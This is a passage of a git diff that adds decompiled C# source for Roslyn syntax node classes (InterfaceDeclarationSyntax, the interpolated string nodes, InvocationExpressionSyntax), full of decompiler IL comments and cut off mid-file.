WithOpenBraceTokenCore(SyntaxToken openBraceToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithOpenBraceToken(openBraceToken); + } + + public new InterfaceDeclarationSyntax WithOpenBraceToken(SyntaxToken openBraceToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, Keyword, Identifier, TypeParameterList, ParameterList, BaseList, ConstraintClauses, openBraceToken, Members, CloseBraceToken, SemicolonToken); + } + + internal override TypeDeclarationSyntax WithMembersCore(SyntaxList members) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithMembers(members); + } + + public new InterfaceDeclarationSyntax WithMembers(SyntaxList members) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, Keyword, Identifier, TypeParameterList, ParameterList, BaseList, ConstraintClauses, OpenBraceToken, members, CloseBraceToken, SemicolonToken); + } + + internal override BaseTypeDeclarationSyntax WithCloseBraceTokenCore(SyntaxToken closeBraceToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithCloseBraceToken(closeBraceToken); + } + + public new InterfaceDeclarationSyntax WithCloseBraceToken(SyntaxToken closeBraceToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + //IL_003d: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, Keyword, Identifier, TypeParameterList, ParameterList, BaseList, ConstraintClauses, OpenBraceToken, Members, closeBraceToken, SemicolonToken); + } + + internal override BaseTypeDeclarationSyntax WithSemicolonTokenCore(SyntaxToken semicolonToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithSemicolonToken(semicolonToken); + } + + public new InterfaceDeclarationSyntax WithSemicolonToken(SyntaxToken semicolonToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, Keyword, Identifier, TypeParameterList, ParameterList, BaseList, ConstraintClauses, OpenBraceToken, Members, CloseBraceToken, semicolonToken); + } + + internal override MemberDeclarationSyntax AddAttributeListsCore(params AttributeListSyntax[] items) + { + return AddAttributeLists(items); + } + + public new InterfaceDeclarationSyntax AddAttributeLists(params AttributeListSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithAttributeLists(AttributeLists.AddRange((IEnumerable)items)); + } + + internal override MemberDeclarationSyntax AddModifiersCore(params SyntaxToken[] items) + { + return AddModifiers(items); + } + + public new InterfaceDeclarationSyntax AddModifiers(params SyntaxToken[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + SyntaxTokenList modifiers = Modifiers; + return WithModifiers(((SyntaxTokenList)(ref modifiers)).AddRange((IEnumerable)items)); + } + + internal override TypeDeclarationSyntax AddTypeParameterListParametersCore(params TypeParameterSyntax[] items) + { + return AddTypeParameterListParameters(items); + } + + public new InterfaceDeclarationSyntax AddTypeParameterListParameters(params TypeParameterSyntax[] items) + { + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + TypeParameterListSyntax typeParameterListSyntax = TypeParameterList ?? SyntaxFactory.TypeParameterList(); + return WithTypeParameterList(typeParameterListSyntax.WithParameters(typeParameterListSyntax.Parameters.AddRange((IEnumerable)items))); + } + + internal override TypeDeclarationSyntax AddParameterListParametersCore(params ParameterSyntax[] items) + { + return AddParameterListParameters(items); + } + + public new InterfaceDeclarationSyntax AddParameterListParameters(params ParameterSyntax[] items) + { + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + ParameterListSyntax parameterListSyntax = ParameterList ?? SyntaxFactory.ParameterList(); + return WithParameterList(parameterListSyntax.WithParameters(parameterListSyntax.Parameters.AddRange((IEnumerable)items))); + } + + internal override BaseTypeDeclarationSyntax AddBaseListTypesCore(params BaseTypeSyntax[] items) + { + return AddBaseListTypes(items); + } + + public new InterfaceDeclarationSyntax AddBaseListTypes(params BaseTypeSyntax[] items) + { + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + BaseListSyntax baseListSyntax = BaseList ?? SyntaxFactory.BaseList(); + return WithBaseList(baseListSyntax.WithTypes(baseListSyntax.Types.AddRange((IEnumerable)items))); + } + + internal override TypeDeclarationSyntax AddConstraintClausesCore(params TypeParameterConstraintClauseSyntax[] items) + { + return AddConstraintClauses(items); + } + + public new InterfaceDeclarationSyntax AddConstraintClauses(params TypeParameterConstraintClauseSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithConstraintClauses(ConstraintClauses.AddRange((IEnumerable)items)); + } + + internal override TypeDeclarationSyntax AddMembersCore(params MemberDeclarationSyntax[] items) + { + return AddMembers(items); + } + + public new InterfaceDeclarationSyntax AddMembers(params MemberDeclarationSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithMembers(Members.AddRange((IEnumerable)items)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/InterpolatedStringContentSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/InterpolatedStringContentSyntax.cs new file mode 100644 index 0000000..42aa012 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/InterpolatedStringContentSyntax.cs @@ -0,0 +1,11 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public abstract class InterpolatedStringContentSyntax : CSharpSyntaxNode +{ + internal InterpolatedStringContentSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base((GreenNode)(object)green, parent, position) + { + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/InterpolatedStringExpressionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/InterpolatedStringExpressionSyntax.cs new file mode 100644 index 0000000..94aaf52 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/InterpolatedStringExpressionSyntax.cs @@ -0,0 +1,104 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class InterpolatedStringExpressionSyntax : ExpressionSyntax +{ + private SyntaxNode? contents; + + public SyntaxToken StringStartToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.InterpolatedStringExpressionSyntax)(object)((SyntaxNode)this).Green).stringStartToken, ((SyntaxNode)this).Position, 0); + + public SyntaxList Contents => new SyntaxList(((SyntaxNode)this).GetRed(ref contents, 1)); + + public SyntaxToken StringEndToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.InterpolatedStringExpressionSyntax)(object)((SyntaxNode)this).Green).stringEndToken, ((SyntaxNode)this).GetChildPosition(2), ((SyntaxNode)this).GetChildIndex(2)); + + internal InterpolatedStringExpressionSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + if (index != 1) + { + return null; + } + return ((SyntaxNode)this).GetRed(ref contents, 1); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + if (index != 1) + { + return null; + } + return contents; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitInterpolatedStringExpression(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitInterpolatedStringExpression(this); + } + + public InterpolatedStringExpressionSyntax Update(SyntaxToken stringStartToken, SyntaxList contents, SyntaxToken stringEndToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + if (stringStartToken != StringStartToken || contents != Contents || stringEndToken != StringEndToken) + { + InterpolatedStringExpressionSyntax interpolatedStringExpressionSyntax = SyntaxFactory.InterpolatedStringExpression(stringStartToken, contents, stringEndToken); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return interpolatedStringExpressionSyntax; + } + return interpolatedStringExpressionSyntax.WithAnnotations(annotations); + } + return this; + } + + public InterpolatedStringExpressionSyntax WithStringStartToken(SyntaxToken stringStartToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Update(stringStartToken, Contents, StringEndToken); + } + + public InterpolatedStringExpressionSyntax WithContents(SyntaxList contents) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Update(StringStartToken, contents, StringEndToken); + } + + public InterpolatedStringExpressionSyntax WithStringEndToken(SyntaxToken stringEndToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + return Update(StringStartToken, Contents, stringEndToken); + } + + public InterpolatedStringExpressionSyntax AddContents(params InterpolatedStringContentSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithContents(Contents.AddRange((IEnumerable)items)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/InterpolatedStringTextSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/InterpolatedStringTextSyntax.cs new file mode 100644 index 0000000..4fc236f --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/InterpolatedStringTextSyntax.cs @@ -0,0 +1,57 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class InterpolatedStringTextSyntax : InterpolatedStringContentSyntax +{ + public SyntaxToken TextToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.InterpolatedStringTextSyntax)(object)((SyntaxNode)this).Green).textToken, ((SyntaxNode)this).Position, 0); + + internal InterpolatedStringTextSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return null; + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return null; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitInterpolatedStringText(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitInterpolatedStringText(this); + } + + public InterpolatedStringTextSyntax Update(SyntaxToken textToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + if (textToken != TextToken) + { + InterpolatedStringTextSyntax interpolatedStringTextSyntax = SyntaxFactory.InterpolatedStringText(textToken); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return interpolatedStringTextSyntax; + } + return interpolatedStringTextSyntax.WithAnnotations(annotations); + } + return this; + } + + public InterpolatedStringTextSyntax WithTextToken(SyntaxToken textToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return Update(textToken); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/InterpolationAlignmentClauseSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/InterpolationAlignmentClauseSyntax.cs new file mode 100644 index 0000000..7af2b13 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/InterpolationAlignmentClauseSyntax.cs @@ -0,0 +1,75 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class InterpolationAlignmentClauseSyntax : CSharpSyntaxNode +{ + private ExpressionSyntax? value; + + public SyntaxToken CommaToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.InterpolationAlignmentClauseSyntax)(object)((SyntaxNode)this).Green).commaToken, ((SyntaxNode)this).Position, 0); + + public ExpressionSyntax Value => ((SyntaxNode)this).GetRed(ref value, 1); + + internal InterpolationAlignmentClauseSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base((GreenNode)(object)green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + if (index != 1) + { + return null; + } + return (SyntaxNode?)(object)((SyntaxNode)this).GetRed(ref value, 1); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + if (index != 1) + { + return null; + } + return (SyntaxNode?)(object)value; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitInterpolationAlignmentClause(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitInterpolationAlignmentClause(this); + } + + public InterpolationAlignmentClauseSyntax Update(SyntaxToken commaToken, ExpressionSyntax value) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + if (commaToken != CommaToken || value != Value) + { + InterpolationAlignmentClauseSyntax interpolationAlignmentClauseSyntax = SyntaxFactory.InterpolationAlignmentClause(commaToken, value); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return interpolationAlignmentClauseSyntax; + } + return interpolationAlignmentClauseSyntax.WithAnnotations(annotations); + } + return this; + } + + public InterpolationAlignmentClauseSyntax WithCommaToken(SyntaxToken commaToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return Update(commaToken, Value); + } + + public InterpolationAlignmentClauseSyntax WithValue(ExpressionSyntax value) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + return Update(CommaToken, value); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/InterpolationFormatClauseSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/InterpolationFormatClauseSyntax.cs new file mode 100644 index 0000000..e82403b --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/InterpolationFormatClauseSyntax.cs @@ -0,0 +1,70 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class InterpolationFormatClauseSyntax : CSharpSyntaxNode +{ + public SyntaxToken ColonToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.InterpolationFormatClauseSyntax)(object)((SyntaxNode)this).Green).colonToken, ((SyntaxNode)this).Position, 0); + + public SyntaxToken FormatStringToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.InterpolationFormatClauseSyntax)(object)((SyntaxNode)this).Green).formatStringToken, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + + internal InterpolationFormatClauseSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base((GreenNode)(object)green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return null; + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return null; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitInterpolationFormatClause(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitInterpolationFormatClause(this); + } + + public InterpolationFormatClauseSyntax Update(SyntaxToken colonToken, SyntaxToken formatStringToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + if (colonToken != ColonToken || formatStringToken != FormatStringToken) + { + InterpolationFormatClauseSyntax interpolationFormatClauseSyntax = SyntaxFactory.InterpolationFormatClause(colonToken, formatStringToken); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return interpolationFormatClauseSyntax; + } + return interpolationFormatClauseSyntax.WithAnnotations(annotations); + } + return this; + } + + public InterpolationFormatClauseSyntax WithColonToken(SyntaxToken colonToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + return Update(colonToken, FormatStringToken); + } + + public InterpolationFormatClauseSyntax WithFormatStringToken(SyntaxToken formatStringToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + return Update(ColonToken, formatStringToken); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/InterpolationSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/InterpolationSyntax.cs new file mode 100644 index 0000000..142910e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/InterpolationSyntax.cs @@ -0,0 +1,115 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class InterpolationSyntax : InterpolatedStringContentSyntax +{ + private ExpressionSyntax? expression; + + private InterpolationAlignmentClauseSyntax? alignmentClause; + + private InterpolationFormatClauseSyntax? formatClause; + + public SyntaxToken OpenBraceToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.InterpolationSyntax)(object)((SyntaxNode)this).Green).openBraceToken, ((SyntaxNode)this).Position, 0); + + public ExpressionSyntax Expression => ((SyntaxNode)this).GetRed(ref expression, 1); + + public InterpolationAlignmentClauseSyntax? AlignmentClause => ((SyntaxNode)this).GetRed(ref alignmentClause, 2); + + public InterpolationFormatClauseSyntax? FormatClause => ((SyntaxNode)this).GetRed(ref formatClause, 3); + + public SyntaxToken CloseBraceToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.InterpolationSyntax)(object)((SyntaxNode)this).Green).closeBraceToken, ((SyntaxNode)this).GetChildPosition(4), ((SyntaxNode)this).GetChildIndex(4)); + + internal InterpolationSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return (SyntaxNode?)(index switch + { + 1 => ((SyntaxNode)this).GetRed(ref expression, 1), + 2 => ((SyntaxNode)this).GetRed(ref alignmentClause, 2), + 3 => ((SyntaxNode)this).GetRed(ref formatClause, 3), + _ => null, + }); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return (SyntaxNode?)(index switch + { + 1 => expression, + 2 => alignmentClause, + 3 => formatClause, + _ => null, + }); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitInterpolation(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitInterpolation(this); + } + + public InterpolationSyntax Update(SyntaxToken openBraceToken, ExpressionSyntax expression, InterpolationAlignmentClauseSyntax? alignmentClause, InterpolationFormatClauseSyntax? formatClause, SyntaxToken closeBraceToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + if (openBraceToken != OpenBraceToken || expression != Expression || alignmentClause != AlignmentClause || formatClause != FormatClause || closeBraceToken != CloseBraceToken) + { + InterpolationSyntax interpolationSyntax = SyntaxFactory.Interpolation(openBraceToken, expression, alignmentClause, formatClause, closeBraceToken); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return interpolationSyntax; + } + return interpolationSyntax.WithAnnotations(annotations); + } + return this; + } + + public InterpolationSyntax WithOpenBraceToken(SyntaxToken openBraceToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + return Update(openBraceToken, Expression, AlignmentClause, FormatClause, CloseBraceToken); + } + + public InterpolationSyntax WithExpression(ExpressionSyntax expression) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + return Update(OpenBraceToken, expression, AlignmentClause, FormatClause, CloseBraceToken); + } + + public InterpolationSyntax WithAlignmentClause(InterpolationAlignmentClauseSyntax? alignmentClause) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + return Update(OpenBraceToken, Expression, alignmentClause, FormatClause, CloseBraceToken); + } + + public InterpolationSyntax WithFormatClause(InterpolationFormatClauseSyntax? formatClause) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + return Update(OpenBraceToken, Expression, AlignmentClause, formatClause, CloseBraceToken); + } + + public InterpolationSyntax WithCloseBraceToken(SyntaxToken closeBraceToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + return Update(OpenBraceToken, Expression, AlignmentClause, FormatClause, closeBraceToken); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/InvocationExpressionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/InvocationExpressionSyntax.cs new file mode 100644 index 0000000..e3b9a0f --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/InvocationExpressionSyntax.cs @@ -0,0 +1,83 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class InvocationExpressionSyntax : ExpressionSyntax +{ + private ExpressionSyntax? expression; + + private ArgumentListSyntax? argumentList; + + public ExpressionSyntax Expression => ((SyntaxNode)this).GetRedAtZero(ref expression); + + public ArgumentListSyntax ArgumentList => ((SyntaxNode)this).GetRed(ref argumentList, 1); + + internal InvocationExpressionSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => ((SyntaxNode)this).GetRedAtZero(ref expression), + 1 => ((SyntaxNode)this).GetRed(ref argumentList, 1), + _ => null, + }); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => expression, + 1 => argumentList, + _ => null, + }); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitInvocationExpression(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitInvocationExpression(this); + } + + public InvocationExpressionSyntax Update(ExpressionSyntax expression, ArgumentListSyntax argumentList) + { + if (expression != Expression || argumentList != ArgumentList) + { + InvocationExpressionSyntax invocationExpressionSyntax = SyntaxFactory.InvocationExpression(expression, argumentList); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return invocationExpressionSyntax; + } + return invocationExpressionSyntax.WithAnnotations(annotations); + } + return this; + } + + public InvocationExpressionSyntax WithExpression(ExpressionSyntax expression) + { + return Update(expression, ArgumentList); + } + + public InvocationExpressionSyntax WithArgumentList(ArgumentListSyntax argumentList) + { + return Update(Expression, argumentList); + } + + public InvocationExpressionSyntax AddArgumentListArguments(params ArgumentSyntax[] items) + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + return WithArgumentList(ArgumentList.WithArguments(ArgumentList.Arguments.AddRange((IEnumerable)items))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/IsPatternExpressionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/IsPatternExpressionSyntax.cs new file mode 100644 index 0000000..084799f --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/IsPatternExpressionSyntax.cs @@ -0,0 +1,87 @@ +using 